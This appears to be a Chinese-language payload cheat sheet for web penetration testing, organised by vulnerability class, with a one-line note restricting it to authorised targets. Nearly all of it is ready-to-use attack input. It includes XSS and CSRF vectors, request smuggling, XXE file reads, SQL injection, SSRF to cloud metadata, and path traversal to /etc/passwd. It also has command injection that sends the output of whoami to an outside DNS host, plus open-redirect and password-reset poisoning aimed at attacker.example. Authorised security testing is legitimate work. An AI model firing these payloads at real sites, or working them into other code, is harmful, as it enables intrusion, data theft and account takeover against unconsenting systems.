测试载荷
按漏洞类别整理的常用测试载荷,摘自公开报告与社区资料。只能在你获得授权的目标上使用。
跨站脚本 Cross-site Scripting
基础探测
<svg onload=alert(document.domain)>
属性逃逸
"><img src=x onerror=alert(1)>
JS 上下文
';alert(1)//
无括号
<img src=x onerror=alert`1`>
href 伪协议
javascript:alert(1)
模板表达式
{{constructor.constructor('alert(1)')()}}跨站请求伪造 Cross-Site Request Forgery
自动提交表单
<form action="https://target.example/api/email" method="POST"> <input name="email" value="[email protected]"> </form> <script>document.forms[0].submit()</script>
text/plain 伪装 JSON
<form enctype="text/plain" method="POST" action="https://target.example/api">
<input name='{"role":"admin","x":"' value='"}'>
</form>密码学缺陷 Cryptography
JWT 无签名
{"alg":"none","typ":"JWT"}检查证书校验
mitmproxy --mode transparent --showhost
注入与走私 Injection and Smuggling
CL.TE 走私
POST / HTTP/1.1 Host: target.example Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED
CRLF 注入
/%0d%0aSet-Cookie:%20crlf=1
XXE 读文件
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/hostname">]> <r>&x;</r>
Host 头
Host: attacker.example X-Forwarded-Host: attacker.example
不安全的直接对象引用 Insecure Direct Object Reference
递增 ID
GET /api/v2/orders/10024 → /api/v2/orders/10025
GraphQL 节点
{ node(id: "VXNlcjoxMDI1") { ... on User { email phone } } }参数污染
user_id=1001&user_id=1002
开放重定向 Open Redirect
基础
/login?next=https://attacker.example
反斜杠
/login?next=/\attacker.example
@ 符号
/login?next=https://[email protected]
协议相对
/login?next=//attacker.example/%2f..
SQL 注入 SQL Injection
布尔盲注
' AND 1=1-- - / ' AND 1=2-- -
时间盲注
' AND SLEEP(5)-- -
联合查询
' UNION SELECT NULL,version(),NULL-- -
ORDER BY 探测
sort=1,(SELECT 1 FROM (SELECT SLEEP(5))a)
服务端请求伪造 Server-Side Request Forgery
AWS 元数据
http://169.254.169.254/latest/meta-data/
GCP 元数据
http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)
十进制 IP
http://2130706433/
IPv6 环回
http://[::1]:80/
其他弱点 Other weaknesses
依赖混淆检查
npm view @target-internal/utils
隐私字段检查
GET /api/me → 对比前端展示字段与实际返回字段
路径遍历 Path Traversal
基础
../../../../etc/passwd
URL 编码
..%2f..%2f..%2fetc%2fpasswd
双重编码
..%252f..%252fetc%252fpasswd
Windows
..\..\..\windows\win.ini
代码执行 Code Execution
命令拼接
; id
反引号
`id`
带外 DNS
$(nslookup $(whoami).oob.example)
SSTI (Jinja2)
{{7*7}} → {{config.__class__.__init__.__globals__}}原型链污染
{"__proto__":{"polluted":true}}内存破坏 Memory Corruption
ASan 编译
clang -fsanitize=address,undefined -g -O1 harness.c
libFuzzer
./fuzzer -max_len=4096 -dict=format.dict corpus/
业务逻辑 Business Logic
负数金额
{"amount": -100, "currency": "CNY"}竞态(单包攻击)
# 使用 HTTP/2 在同一个 TCP 包中并发发送 20 个兑换请求
拒绝服务 Denial of Service
ReDoS 探测
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
深层嵌套 JSON
[[[[[[[[[[[[[[[[[[[[ ... ]]]]]]]]]]]]]]]]]]]]
错误配置 Misconfiguration
CORS 反射
Origin: https://attacker.example
CNAME 悬挂
dig CNAME assets.target.example +short
存储桶列举
aws s3 ls s3://target-assets --no-sign-request
信息泄露 Information Disclosure
常见泄露路径
/.git/config /.env /actuator/env /server-status
JS 中的密钥
grep -Eo "(AKIA|sk_live_)[A-Za-z0-9]{16,}" bundle.jsSource Map
/static/js/main.js.map
访问控制 Access Control
方法覆盖
X-HTTP-Method-Override: DELETE
路径变形
/admin → /Admin /admin/ /admin;/ /%2fadmin
角色字段
{"name":"x","role":"admin"}身份认证 Authentication
重置 Host 投毒
POST /reset Host: attacker.example
JWT alg 混淆
用公钥作为 HS256 密钥重新签名
OAuth state 缺失
/oauth/callback?code=ATTACKER_CODE
响应篡改
{"mfa_required": false}